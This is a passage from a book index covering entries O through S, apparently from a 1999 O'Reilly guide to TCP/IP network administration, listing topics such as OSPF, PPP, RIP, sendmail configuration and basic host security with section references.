9.3.1. The nsswitch.conf file
E.4.2. sendmail Options
numeric addresses : (see addresses)
numeric values, in printcap parameters : 9.2.1. The printcap File

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

object identifier : 11.9. Simple Network Management Protocol
octet data : 3.4.3. Multipurpose Internet Mail Extensions
octet-stream application subtype : 3.4.3. Multipurpose Internet Mail Extensions
Oerrs (output errors) : 11.4.3. Checking the Interface with netstat
One-time Passwords In Everything (OPIE) : 12.2.4. OPIE
ONEX command, in ESMTP : 3.4.3. Multipurpose Internet Mail Extensions
open protocol suite : 3.7.1. File Sharing
Open Shortest Path First : (see OSPF protocol)
Open Systems Interconnect : (see OSI Reference Model)
opiekey software : 12.2.4. OPIE
opiepassword : 12.2.4. OPIE
option set, invoking dialup IP (dip) : A.1. Dial-Up IP
options
entry, in resolv.conf : 8.2.1. The Resolver Configuration File
field, in DHCP : 3.6.1. Dynamic Host Configuration Protocol
statement : 5.3.1.1. Options
in gated : B.5. Options Statements
INET : 5.3.1.1. Options
options file
6.3.1. The PPP Daemon
6.3.2. Dial-Up PPP
A.2. The PPP Daemon
options.device file : A.2. The PPP Daemon
org domain : 3.3.1. The Domain Hierarchy
OSI Reference Model
1.2. A Data Communications Model
6.1.1. Determining the Interface Name
OSPF protocol
Preface
1.7. Application Layer
7.4.3. Open Shortest Path First
authenticating packets : B.8.1. The ospf Statement
enabling (in gated)
7.7.1.2. Interior gateway configurations
7.7.1.3. Exterior gateway configuration
B.8.1. The ospf Statement
ospf statement (in gated) : B.8.1. The ospf Statement
ospfase protocol : 7.7.1.3. Exterior gateway configuration
OSTYPE macro : 10.4.1.1. Building a sendmail.cf with m4 macros
defines, listed : E.3.3. OSTYPE
in sendmail
E.3. m4 sendmail Macros
E.3.3. OSTYPE
out-of-date files defined : 9.6.1. rdist
outdated software : (see software)
output errors (Oerrs) : 11.4.3. Checking the Interface with netstat
overruns : (see buffer overruns)
overwhelming the server : 9.4. A BOOTP Server
owner-admin alias : 10.3. sendmail Aliases

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

packet : 1.3. TCP/IP Protocol Architecture
authentication : 7.4.2. RIP Version 2
bogus, interjecting : 5.3.1.1. Options
capturing : 5.3.1.2. Pseudo-device
damaged : 6.1.1. Determining the Interface Name
filters : 11.7.1. Packet Filters
constructing : 11.7.1. Packet Filters
in firewalls : 12.7. Firewalls
primitives used, listed : 11.7.1. Packet Filters
options in DHCP : 3.6.1. Dynamic Host Configuration Protocol
queued : 6.1.1. Determining the Interface Name
routing : 1.5.1.1. The datagram
switching : 1.5.1.1. The datagram
update : 7.4.1. Routing Information Protocol
packetsize : 11.3.1. The ping Command
PAP (Password Authentication Protocol)
6.3.4. PPP Daemon Security
A.2. The PPP Daemon
pap-secrets file : 6.3.4. PPP Daemon Security
Parallel Line IP (PLIP) : 5.2. Linux Kernel Configuration
parallel multipart subtype : 3.4.3. Multipurpose Internet Mail Extensions
parentheses (), for continuation characters : C.3.1. Standard Resource Records
partial message subtype : 3.4.3. Multipurpose Internet Mail Extensions
passing data : (see data communications model)
passive option
in pppd : 6.3.5. PPP Server Configuration
in RIP
7.4.1.1. Running RIP with routed
7.7.1.2. Interior gateway configurations
passwd command line : 12.2.1. The Shadow Password File
passwd file
6.3.5. PPP Server Configuration
6.4.3. SLIP Server Configuration
9.1.5. NFS Authentication Server
9.3. Network Information Service
10.4.1.1. Building a sendmail.cf with m4 macros
12.2.1. The Shadow Password File
13.2.1. Creating an FTP Server
protecting : 12.2. User Authentication
in security checks : 12.4.2. Looking for Trouble
password
1.7. Application Layer
(see also shadow password file)
aging : 12.2.1. The Shadow Password File
changing frequently : 12.2. User Authentication
tricks used to avoid : 12.2.1. The Shadow Password File
choosing : 12.2.2. Choosing a Password
guidelines for : 12.2.2. Choosing a Password
command : 6.3.2. Dial-Up PPP
guessing or stealing : 12.2. User Authentication
one-time
Preface
12.2.3. One-Time Passwords
systems for : 12.2.3. One-Time Passwords
seemingly random, constructing : 12.2.2. Choosing a Password
writing down : 12.2.4. OPIE
Password Authentication Protocol (PAP) : A.2. The PPP Daemon
password-based authentication
7.4.3. Open Shortest Path First
7.7.1.2. Interior gateway configurations
9.1.5. NFS Authentication Server
path MTU discovery code : 5.2. Linux Kernel Configuration
path vector protocols : 7.5.2. Border Gateway Protocol
pattern matching : 10.6.1. Pattern Matching
symbols for : 10.5.3. The Define Class Command
PC NFS Authentication and Print Server (pcnfsd) : 9.1.5. NFS Authentication Server
PCI bus : 5.3.1.3. Devices
PCM audio subtype : 3.4.3. Multipurpose Internet Mail Extensions
pcnfsd.conf file : 9.1.5.1. NFS print services
PDUs (Protocol Data Units) : 11.9. Simple Network Management Protocol
peer
3. Network Services
7.5.2. Border Gateway Protocol
B.5. Options Statements
clauses : 7.7.1.3. Exterior gateway configuration
level communications : 1.2. A Data Communications Model
subclauses : B.8.5. The bgp Statement
Perimeter Network : 12.7. Firewalls
periods (..) for domain name : C.3.1. Standard Resource Records
personal mail forwarding : 10.3.1. Personal mail forwarding
PGP (Pretty Good Privacy) : 12.6.1. When is symmetric encryption useful?
physical
network
1.5.1.2. Routing datagrams
2.3. Subnets
2.6. Address Resolution
3.5.1. Reverse Address Resolution Protocol
address, embedded in response : 3.6. Bootstrap Protocol
independence from
1.1.1. TCP/IP Features
6. Configuring the Interface
security : 12.1.1. Assessing the Threat
serial ports : 6.4.4. Troubleshooting Serial Connections
Physical Layer
1.2. A Data Communications Model
6.1.1. Determining the Interface Name
ping command
6.4.4. Troubleshooting Serial Connections
7.2. The Minimal Routing Table
statistics displayed by
11.3.1. The ping Command
11.4.3. Checking the Interface with netstat
in troubleshooting : 11.3. Testing Basic Connectivity
pipe character (|) separating multiple printer names : 9.2.1. The printcap File
plain text subtype : 3.4.3. Multipurpose Internet Mail Extensions
planning sheets : 4.6.1. Sample Planning Sheets
PLIP (Parallel Line IP) : 5.2. Linux Kernel Configuration
plumb/unplumb parameters : 6.1.5.5. Point-to-point
plus sign (+) indicating a trusted host : 12.2.5. Secure the r Commands
point-to-point interfaces
6.1.5.5. Point-to-point
B.6. Interface Statements
defined : 6.1.1. Determining the Interface Name
Point-to-Point Protocol : (see PPP)
pointers : 3.3.2. Creating Domains and Subdomains
poison reverse feature : 7.4.1.1. Running RIP with routed
policy-based routing : 7.5.2. Border Gateway Protocol
database : 2.4. Internet Routing Architecture
polling
7.5.1. Exterior Gateway Protocol
11.9. Simple Network Management Protocol
trap-directed : 11.9. Simple Network Management Protocol
POP (Post Office Protocol)
3.4.2. Post Office Protocol
4.5.3. Planning Your Mail System
commands, listed : 3.4.2. Post Office Protocol
mail server : 9.7.1. POP Server
pop3d.tar : 9.7.1. POP Server
popper17.tar : 9.7.1. POP Server
port
1.2. A Data Communications Model
2.7.3. Sockets
numbers
1.6.2. Transmission Control Protocol
2.7. Protocols, Ports, and Sockets
2.7.2. Port Numbers
passing : 2.7.3. Sockets
randomly generated : 3.6. Bootstrap Protocol
portmapper : 2.7.2. Port Numbers
Positive Acknowledgment : 1.6.2. Transmission Control Protocol
with Re-transmission (PAR) : 1.6.2. Transmission Control Protocol
Post Office Protocol : (see POP)
post office servers : (see mailbox servers)
PostScript application subtype : 3.4.3. Multipurpose Internet Mail Extensions
pound sign (#) for comments
3.2. The Host Table
5.4. The Internet Daemon
7.7.1.1. A host configuration
9.1.4. NFS Automounter
9.2.1. The printcap File
9.4. A BOOTP Server
A.1.1. The dip Script File
D.3. The dhcpd.conf Configuration File
power outage, possible effects of
9.4. A BOOTP Server
9.5.1. dhcpd.conf
PPP (Point-to-Point Protocol)
5.2. Linux Kernel Configuration
5.3.1.2. Pseudo-device
6.2.1. The Serial Protocols
daemon (pppd) : 6.3.1. The PPP Daemon
command-line options : 6.3.1. The PPP Daemon
overriding address exchanges : 6.3.1. The PPP Daemon
security in : 6.3.4. PPP Daemon Security
tools reference : A.2. The PPP Daemon
as default : A.1.1. The dip Script File
installing
6.1.5.5. Point-to-point
6.3. Installing PPP
interoperability and : 6.2.2. Choosing a Serial Protocol
server configuration : 6.3.5. PPP Server Configuration
in Solaris : 6.3.6. Solaris PPP
tools reference : A. PPP Tools
ppp directory, protecting : A.2. The PPP Daemon
ppplogin : 6.3.5. PPP Server Configuration
.ppprc file : A.2. The PPP Daemon
precedence : 10.5.6. Defining Mail Precedence
Predictor-1 compression : A.2. The PPP Daemon
preference values
7.6.1. gated's Preference Value
B.6. Interface Statements
B.8.5. The bgp Statement
B.9. static Statements
B.10. Control Statements
high-cost : 7.7.1.2. Interior gateway configurations
negative : B.10.1. The import Statement
prefix-length : 2.2.2. Classless IP Addresses
Presentation Layer : 1.2. A Data Communications Model
Pretty Good Privacy (PGP) : 12.6.1. When is symmetric encryption useful?
primary nameservers
3.3.4. BIND, resolver, and named
4.4.1. Obtaining a Domain Name
8.1.1. BIND Configurations
C.2. named.boot Configuration Commands
configuring : 8.3.1.2. Primary and secondary server configurations
print servers : 3.7.2. Print Services
configuring
4.5.2. Print servers
9.2.1. The printcap File
print spool directory, making
9.1.5.1. NFS print services
9.2.1. The printcap File
printcap file : 9.2.1. The printcap File
printers
multiple : 9.2.1. The printcap File
queue display : 9.2.1.2. Using LPD
security : 9.2.1.1. LPD security
priority of messages, assigning
10.5.6. Defining Mail Precedence
B.8.4. The isis Statement
private argument : 6.1.5.3. Metric
procmail : E.3.5. MAILER
prog pattern : 13.3.1. archie
promiscuous mode
6.1.5.5. Point-to-point
11.7.1. Packet Filters
interface : 5.3.1.2. Pseudo-device
proto clauses
7.7.1.3. Exterior gateway configuration
A.1. Dial-Up IP
B.10.2. The export Statement
protocol
analyzers
5.3.1.2. Pseudo-device
11.7. Analyzing Protocol Problems
12.2.3. One-Time Passwords
client server : 11.9. Simple Network Management Protocol
manager/agent : 11.9. Simple Network Management Protocol
minor : 2.7.1. Protocol Numbers
name, alias for : 2.7.1. Protocol Numbers
number
1.5.1.4. Passing datagrams to the transport layer
2.7.1. Protocol Numbers
problems, troubleshooting : 11.7. Analyzing Protocol Problems
stack
1.2. A Data Communications Model
11.1. Approaching a Problem
standards
1.1.2. Protocol Standards
1.7. Application Layer
statements (in gated) : B.8. Protocol Statements
suite : 1.2. A Data Communications Model
tracing : B.1. The gated Command
Protocol Data Units (PDUs) : 11.9. Simple Network Management Protocol
protocols file
2.7.1. Protocol Numbers
5.4. The Internet Daemon
9.3. Network Information Service
proxy servers
4.2.1. Obtaining an IP Address
5.3.1.1. Options
12.7. Firewalls
providing on a firewall : 12.7.1. Functions of the firewall
proxyarp option : A.2. The PPP Daemon
ps command : 12.4.1. Know Your System
pseudo-device statement : 5.3.1.2. Pseudo-device
pseudo-domains : 10.7.1. Modifying Local Information
pseudo-terminals : 5.3.1.2. Pseudo-device
PTR resource records
8.3.5. The Reverse Domain File
C.3.1.6. Domain Name Pointer record
ptys : 5.3.1.2. Pseudo-device
public-key encryption : 12.6. Encryption
pulse code modulation (PCM) audio subtype : 3.4.3. Multipurpose Internet Mail Extensions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

query-response model : 1.6.1. User Datagram Protocol
queuing : 3.4.1. Simple Mail Transfer Protocol
quicktime video subtype : 3.4.3. Multipurpose Internet Mail Extensions
QUIT command
in POP : 3.4.2. Post Office Protocol
in SMTP : 3.4.1. Simple Mail Transfer Protocol
quote pair ("") (expect nothing)
6.3.3. chat
A.3. chat
quoted-printable encoding type : 3.4.3. Multipurpose Internet Mail Extensions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

RADB (Routing Arbiter Database) : 2.4. Internet Routing Architecture
range parameter
9.5.1. dhcpd.conf
D.3.2. Configuration Parameters
RARP (Reverse Address Resolution Protocol)
3.5.1. Reverse Address Resolution Protocol
5.2. Linux Kernel Configuration
adding to Linux kernel : 6.1.5.5. Point-to-point
/etc/ethers file in : 9.3. Network Information Service
raw sockets : 5.4. The Internet Daemon
rc.inet1 script : 7.3.1.1. Installing static routes at startup
rc.M startup script : 10.2. Running sendmail as a Daemon
RCS (Release Control System) format : 10.4.1.1. Building a sendmail.cf with m4 macros
rdist command : 9.6.1. rdist
reachability information
2.4. Internet Routing Architecture
7.5. Exterior Routing Protocols
7.6. Gateway Routing Daemon
READ command, in POP : 3.4.2. Post Office Protocol
recipient addresses : (see addresses)
records : (see documentation)
recursive searches : 3.3.2. Creating Domains and Subdomains
Redirect Message
1.5.2. Internet Control Message Protocol
2.5. The Routing Table
7.3.1. Adding Static Routes
redirect statement (in gated) : B.8.8. The redirect Statement
redirecting routes : 1.5.2. Internet Control Message Protocol
refresh values : C.3.1.1. Start of Authority record
registered hosts : 3.2. The Host Table
registration fee : 4.4.1. Obtaining a Domain Name
reject route : B.9. static Statements
reject routes : B.10.1. The import Statement
reliability : 1.6.2. Transmission Control Protocol
remembering passwords : 12.2.2. Choosing a Password
remote
hosts, checking : 1.5.2. Internet Control Message Protocol
servers : 6.3.2. Dial-Up PPP
accessing files on : 9.1. The Network File System
contacting administrators of
11.1.1. Troubleshooting Hints
11.3. Testing Basic Connectivity
never extending trust to : 12.2.3. One-Time Passwords
problem for firewalls : 12.7.1. Functions of the firewall
remote copy (rcp) command : 9.6. Managing Distributed Servers
Remote File System (RFS) : 3.7.1. File Sharing
Remote Procedure Call (RPC) services : 2.7.2. Port Numbers
remounting filesystems after system reboot : 9.1.3.2. The vfstab and fstab files
REPORT keyword : A.3. chat
reportfile : A.3. chat
Requests for Comments : (see RFCs)
reset command : 6.3.2. Dial-Up PPP
resolv.conf file
8.1.1. BIND Configurations
8.2. Configuring the Resolver
8.2.1. The Resolver Configuration File
11.6.4. dig: An Alternative to nslookup
resolver
code : 3.3.4. BIND, resolver, and named
configuring : 8.2. Configuring the Resolver
defined : 8.1. BIND: UNIX Name Service
options : E.4.2. sendmail Options
resolver-only configurations
3.3.4. BIND, resolver, and named
8.1.1. BIND Configurations
8.2.1.1. A resolver-only configuration
responsibilities of administrators
1.7. Application Layer
4. Getting Started
4.3. Planning Routing
4.6. Informing the Users
5.1. Kernel Configuration
RETR command, in POP : 3.4.2. Post Office Protocol
Reverse Address Resolution Protocol : (see RARP)
reverse domain : 4.4.1.1. Obtaining an IN-ADDR.ARPA domain
files
8.3.5. The Reverse Domain File
C.3.1.6. Domain Name Pointer record
rewrite rules
processing sequentially : 10.6.2. Transforming the Address
recursion built-in : 10.6.2. Transforming the Address
syntax of : 10.6.2. Transforming the Address
using external databases in : 10.6.2.1. Transforming with a database
rfc-index.txt : 13.4. Retrieving RFCs
rfc822 message subtype : 3.4.3. Multipurpose Internet Mail Extensions
RFCs (Requests for Comments)
1.1.2. Protocol Standards
1.4. Network Access Layer
2.3. Subnets
authorative source : 11.8. Protocol Case Study
keeping up with latest : 3.4.3. Multipurpose Internet Mail Extensions
retrieving : 13.4. Retrieving RFCs
RFS (Remote File System) : 3.7.1. File Sharing
.rhosts file : 12.2.5. Secure the r Commands
in security checks : 12.4.2. Looking for Trouble
richtext text subtype : 3.4.3. Multipurpose Internet Mail Extensions
RIP (Routing Information Protocol)
2.2.2. Classless IP Addresses
6.1.5.3. Metric
7.4.1. Routing Information Protocol
checking updates : 11.5.1. Checking RIP Updates
enabling (in gated) : 7.7.1.1. A host configuration
running : 7.4.1.1. Running RIP with routed
shortcomings of : 7.4.1.1. Running RIP with routed
starting : 5.4. The Internet Daemon
statement (in gated) : B.8.2. The rip Statement
RIP REQUEST command : 11.5.1. Checking RIP Updates
RIP Version 2 (RIP-2) : 7.4.2. RIP Version 2
enabling (in gated) : 7.7.1.1. A host configuration
RIPE Network Control Center : 2.4. Internet Routing Architecture
RIPE-181 standard : 2.4. Internet Routing Architecture
ripquery
11.2. Diagnostic Tools
11.5.1. Checking RIP Updates
Riseaux IP Europeens (RIPE) Network Control Center (NCC) : 2.4. Internet Routing Architecture
risks forum : 12.1.2.2. Use mailing lists to distribute information
rlogin
command
4.1. Connected and Non-Connected Networks
5.3.1.2. Pseudo-device
12.2.3. One-Time Passwords
service : 2.7.2. Port Numbers
ro option (read-only access)
for Linux systems : 9.1.2.2. The /etc/exports file
for Solaris systems : 9.1.2.1. The share command
root
domain : 3.3.1. The Domain Hierarchy
server : 3.3.1. The Domain Hierarchy
configuring : 8.3.1. The named.boot File
entries, corrupted : 11.6.3. Cache corruption
uid : 5.4. The Internet Daemon
root=host option (root access for specified host) : 9.1.2.1. The share command
route
command
6.1.5.3. Metric
6.4.1. slattach
7.3. Building a Static Routing Table
7.3.1.1. Installing static routes at startup
dampening : B.8.5. The bgp Statement
duplicate, silently ignored : B.8.5. The bgp Statement
filters : 7.7.1.3. Exterior gateway configuration
server entry, bogus : 8.3.3. The Cache Initialization File
route add command : 11.5. Checking Routing
routed daemon
5.4. The Internet Daemon
7.4.1. Routing Information Protocol
routerdiscovery statement (in gated) : B.8.10. The routerdiscovery Statement
routerid
7.7.1.2. Interior gateway configurations
B.7. Definition Statements
routing
1.7. Application Layer
2.1. Addressing, Routing, and Multiplexing
(see also dynamic, routing; static, routing)
areas, hierarchy of : 7.4.3. Open Shortest Path First
commonest configurations : 7.1. Common Routing Configurations
consolidated : 2.2.2. Classless IP Addresses
datagrams : (see datagrams)
defined : 7. Configuring Routing
domains : 2.4. Internet Routing Architecture
end-to-end : (see end-to-end)
information, exchanging : 1.7. Application Layer
interior routers : 12.7. Firewalls
interoperability with routers : B.8.5. The bgp Statement
metric : 7.3. Building a Static Routing Table
multi-path : 7.4.3. Open Shortest Path First
planning : 4.3. Planning Routing
policy
7.6. Gateway Routing Daemon
B.10. Control Statements
protocols
4. Getting Started
4.2.2. Defining the Subnet Mask
choosing : 7.5.3. Choosing a Routing Protocol
defined : 7.1. Common Routing Configurations
interior : 7.4. Interior Routing Protocols
using gated for : 7.7.1.3. Exterior gateway configuration
responsibilities of : 7.1. Common Routing Configurations
tables
2.5. The Routing Table
7.1. Common Routing Configurations
building manually : 7.1. Common Routing Configurations
checking : 11.5. Checking Routing
minimal : 7.2. The Minimal Routing Table
unstable : B.8.5. The bgp Statement
viewing contents of : 6.4.4. Troubleshooting Serial Connections
troubleshooting : 11.5. Checking Routing
Routing Arbiters
2.4. Internet Routing Architecture
7.5.2. Border Gateway Protocol
Routing Information Protocol : (see RIP)
routing metric : 6.1.5.3. Metric
RPCs (Remote Procedure Calls) : 2.7.2. Port Numbers
RRs (standard resource records) : 8.3.2. Standard Resource Records
in named : C.3.1. Standard Resource Records
rs.internic.net : 13.6. The White Pages
RS232C : 1.2. A Data Communications Model
rules : (see protocol, standards)
rulesets : 10.6.3. The Set Ruleset Command
rw option (read and write access)
for Linux systems : 9.1.2.2. The /etc/exports file
for Solaris systems : 9.1.2.1. The share command

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

safe, storing security information in : 12.2.6. Secure Shell
SATAN tool : 12.4.3.2. SATAN
saturated networks : (see network)
scaling well
2.4. Internet Routing Architecture
3.3. Domain Name Service
4.2.1. Obtaining an IP Address
7.5.1. Exterior Gateway Protocol
scp (secure copy) : 12.2.6. Secure Shell
script files
1.7. Application Layer
6.1.5.1. Enabling and disabling the interface
(see also startup script)
(see also UNIX, systems)
debugging tips : 6.4.4. Troubleshooting Serial Connections
invoking dialup IP (dip) : A.1. Dial-Up IP
scriptfile : A.3. chat
scripting language : 6.3.2. Dial-Up PPP
search entry, in resolv.conf : 8.2.1. The Resolver Configuration File
secondary nameservers
3.3.4. BIND, resolver, and named
4.4.1. Obtaining a Domain Name
8.1.1. BIND Configurations
C.2. named.boot Configuration Commands
configuring : 8.3.1.2. Primary and secondary server configurations
secrecy
defined : 12.1.1. Assessing the Threat
keys for : 6.3.4. PPP Daemon Security
secure copy (scp) : 12.2.6. Secure Shell
SECURE points : 12.4.3.1. COPS
secure shell (ssh) : 12.2.6. Secure Shell
daemon (sshd) : 12.2.6. Secure Shell
SECURE_USERS variable : 12.4.3.1. COPS
security
1.7. Application Layer
(see also intruders)
(see also printers)
attacks
1.7. Application Layer
4.2.1. Obtaining an IP Address
importance of notifying others
12.4.2. Looking for Trouble
12.4.2.2. Checking login activity
mechanisms included within applications : 12.2.5. Secure the r Commands
monitoring : 12.4. Security Monitoring
planning : 12.1. Security Planning
policy : 12.1. Security Planning
writing : 12.1.3. Writing a Security Policy
for printers : 4.5.2. Print servers
publications, list of : 12.8. Words to the Wise
risks
4.1. Connected and Non-Connected Networks
4.2.2. Defining the Subnet Mask
5.3.1.1. Options
5.3.1.2. Pseudo-device
5.4. The Internet Daemon
9.1.2.1. The share command
13.2.1. Creating an FTP Server
sources of information : 12.1.2.2. Use mailing lists to distribute information
segments : 1.3. TCP/IP Protocol Architecture
format : 1.6.2. Transmission Control Protocol
header : 1.6.2. Transmission Control Protocol
semicolon (;)
comment character : C.3.1. Standard Resource Records
ending gated configuration statements
7.7.1.1. A host configuration
B.2. The gated Configuration Language
sender addresses : (see addresses)
sendmail
UNIX Versions
4.5.3. Planning Your Mail System
10. sendmail
aliases in : 10.3. sendmail Aliases
classes, listed : E.4.1. sendmail Classes
command : E.2. The sendmail Command
arguments, listed : E.2. The sendmail Command
compiling : E.1. Compiling sendmail
configuring : 10.5. sendmail Configuration
internal macros, listed : 10.5.2. The Define Macro Command
mailer flags, listed : E.4.3. sendmail Mailer Flags
options : E.4.2. sendmail Options
running as a daemon : 10.2. Running sendmail as a Daemon
testing and debugging arguments : 10.8. Testing sendmail.cf
tools reference : E. A sendmail Reference
using key files in : 10.8.2. Using Key Files in sendmail
using most recent release
10.8.2. Using Key Files in sendmail
E.1. Compiling sendmail
Version 8 : Preface
sendmail startup script : 10.2. Running sendmail as a Daemon
sendmail.cf file : 10.4. The sendmail.cf File
commands, listed : 10.5. sendmail Configuration
define class command (C and F) : 10.5.3. The Define Class Command
define macro command (D) : 10.5.2. The Define Macro Command
define mail headers command (H) : 10.5.7. Defining Mail Headers
define mail precedence command (P) : 10.5.6. Defining Mail Precedence
define mailers command (M) : 10.5.8. Defining Mailers
define trusted users command (T) : 10.5.5. Defining Trusted Users
examining comments in : 10.4.2. General sendmail.cf Structure
modifying : 10.7. Modifying a sendmail.cf File
local information : 10.7.1. Modifying Local Information
options : 10.7.2. Modifying Options
options and flags : E.4. More sendmail.cf
rewrite rules (R, S, and K commands) : 10.6. Rewriting the Mail Address
pattern matching : 10.6.1. Pattern Matching
transforming the address : 10.6.2. Transforming the Address
sample of, locating : 10.4.1. Locating a Sample sendmail.cf File
set option command (O) : 10.5.4. The Set Option Command
structure of : 10.4.2. General sendmail.cf Structure
testing : 10.8. Testing sendmail.cf
commands, listed : 10.8.1. Testing Rewrite Rules
rewrite rules : 10.8.1. Testing Rewrite Rules
version level command (V) : 10.5.1. The Version Level Command
sendmail.tar file : 10.4.1. Locating a Sample sendmail.cf File
Sequence Number field : 1.6.2. Transmission Control Protocol
serial
communications packages : 6.4.4. Troubleshooting Serial Connections
devices, adding manually : 6.4.4. Troubleshooting Serial Connections
interfaces : 6.2. TCP/IP Over a Serial Line
lines
load balancing : 5.2. Linux Kernel Configuration
multiple, using simultaneously : 5.2. Linux Kernel Configuration
protocols
choosing
6.2.2. Choosing a Serial Protocol
A.1.1. The dip Script File
debugging : 6.4.4. Troubleshooting Serial Connections
Serial Line IP : (see SLIP)
Serial Line IP (SLIP)
1.7. Application Layer
(see also PLIP (Parallel Line IP))
server
1.7. Application Layer
(see also remote, servers)
cache, dumping : 11.6.2. The data is here and the server can't find it!
command : 8.4. Using nslookup
configuration statement : B.8.10. The routerdiscovery Statement
master : 8.1.1. BIND Configurations
multiple : 9.1.4. NFS Automounter
program, pathname of : 5.4. The Internet Daemon
service-list : 12.5.1.1. tcpd access control files
services file
5.4. The Internet Daemon
9.3. Network Information Service
9.4. A BOOTP Server
9.7.1. POP Server
9.7.2. IMAP Server
Session Layer : 1.2. A Data Communications Model
set debug command : 8.4. Using nslookup
set domain command : 8.4. Using nslookup
set ruleset (S) command : 10.6.3. The Set Ruleset Command
set type command : 11.6.4. dig: An Alternative to nslookup
setgid permission, avoiding : 12.4.2.1. Checking files
setuid : 9.1.3.2. The vfstab and fstab files
shadow file : 12.2.1. The Shadow Password File
shadow password file : 12.2.1. The Shadow Password File
share command
9.1.2.1. The share command
9.1.5. NFS Authentication Server
sharing
directories : 9.1. The Network File System
filesystems : 9.1.2. Sharing Filesystems
common reasons for : 9.1.2. Sharing Filesystems
sharp sign (#) for comments
3.2. The Host Table
5.4. The Internet Daemon
7.7.1.1. A host configuration
9.1.4. NFS Automounter
9.2.1. The printcap File
9.4. A BOOTP Server
A.1.1. The dip Script File
D.3. The dhcpd.conf Configuration File
shell scripts : 12.4.2.1. Checking files
showmount command
4.5.1. File servers
9.1.3. Mounting Remote Filesystems
SIGHUP signal
9.4. A BOOTP Server
11.6.3. Cache corruption
A.2. The PPP Daemon
A.2.1. Signal processing
B.1.1. Signal Processing
C.1.1. Signal Processing
SIGINT signal
11.6.3. Cache corruption
A.2.1. Signal processing
B.1.1. Signal Processing
C.1.1. Signal Processing
signal processing
in gated : B.1.1. Signal Processing
in named : C.1.1. Signal Processing
in pppd : A.2.1. Signal processing
SIGTERM signal
B.1.1. Signal Processing
D.2. The dhcpd Command
silently discarding datagrams : (see datagrams)
SILO overflows : 6.1.5.4. Maximum transmission unit
Simple Gateway Management Protocol (SGMP) : 11.9. Simple Network Management Protocol
Simple Mail Transfer Protocol : (see SMTP)
Simple Network Management ProtocolNMP : (see SNMP)
single threaded mail deliver : E.3.1. define
Slackware 96 : 4.7. netconfig
slattach command : 6.4.1. slattach
slave command : C.2. named.boot Configuration Commands
SLIP (Serial Line IP)
5.2. Linux Kernel Configuration
5.3.1.2. Pseudo-device
6.2.1. The Serial Protocols
installing : 6.4. Installing SLIP
server configuration : 6.4.3. SLIP Server Configuration
SLIP END character : 6.2.1. The Serial Protocols
SLIP ESC character : 6.2.1. The Serial Protocols
slow convergence : 7.4.1.1. Running RIP with routed
SMI (Structure of Management Information) : 11.9. Simple Network Management Protocol
SMTP (Simple Mail Transfer Protocol)
1.7. Application Layer
3.4.1. Simple Mail Transfer Protocol
commands, listed : 3.4.1. Simple Mail Transfer Protocol
ESMTP (Extended SMTP)
3.4.3. Multipurpose Internet Mail Extensions
10.8. Testing sendmail.cf
private extensions to : 3.4.3. Multipurpose Internet Mail Extensions
sendmail and : 10.1. sendmail's Function
service extensions to : 3.4.3. Multipurpose Internet Mail Extensions
standardizing on : 4.5.3. Planning Your Mail System
SNMP (Simple Network Management Protocol) : 11.9. Simple Network Management Protocol
statement (in gated) : B.8.7. The snmp Statement
snoop
11.2. Diagnostic Tools
11.7. Analyzing Protocol Problems
detailed analysis with : 11.3. Testing Basic Connectivity
SOA records
8.3.2. Standard Resource Records
8.3.4. The named.local File
8.3.5. The Reverse Domain File
8.3.6. The named.hosts File
11.6.1. Some systems work, others don't
C.3.1.1. Start of Authority record
socket
1.2. A Data Communications Model
2.7.3. Sockets
pairs : 2.7.3. Sockets
types of : 5.4. The Internet Daemon
SOCKS : 12.7.1. Functions of the firewall
software
keeping updated : 12.3.2. Keep Software Updated
outdated, security problems with : 12.2. User Authentication
removing unnecessary : 12.3.1. Remove Unnecessary Software
Solaris systems
UNIX Versions
2.5. The Routing Table
2.7.1. Protocol Numbers
3.4.3. Multipurpose Internet Mail Extensions
3.5.1. Reverse Address Resolution Protocol
5.1. Kernel Configuration
10.2. Running sendmail as a Daemon
ifconfig command on
6.1.2. Checking the Interface with ifconfig
6.1.5.3. Metric
Line Printer (LP) print service in : 9.2.2. Solaris Line Printer Service
remounting filesystems on : 9.1.3.2. The vfstab and fstab files
sharing directories on : 9.1.2.1. The share command
obtaining information about : 9.1.3. Mounting Remote Filesystems
sortlist command, in resolv.conf : 8.2.1. The Resolver Configuration File
Source Code Control System (SCCS) format : 10.4.1.1. Building a sendmail.cf with m4 macros
Source Port number
1.6.1. User Datagram Protocol
1.6.2. Transmission Control Protocol
Source Quench Message : 1.5.2. Internet Control Message Protocol
source routing : 5.2. Linux Kernel Configuration
sourcegateways : B.8.2. The rip Statement
SPF protocol
7.4. Interior Routing Protocols
7.4.3. Open Shortest Path First
calculation : 7.4.3. Open Shortest Path First
split horizon rule : 7.4.1.1. Running RIP with routed
spoofing addresses : (see addresses)
ssh (secure shell) : 12.2.6. Secure Shell
command : 12.2.6. Secure Shell
daemon (sshd) : 12.2.6. Secure Shell
.ssh/identity.pub : 12.2.6. Secure Shell
